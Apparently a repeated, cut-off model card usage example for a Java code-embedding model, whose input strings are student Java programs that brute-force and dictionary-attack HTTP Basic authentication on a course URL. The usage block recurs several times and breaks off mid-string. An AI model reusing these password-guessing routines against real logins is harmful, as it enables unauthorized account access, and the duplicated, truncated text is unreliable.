bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not 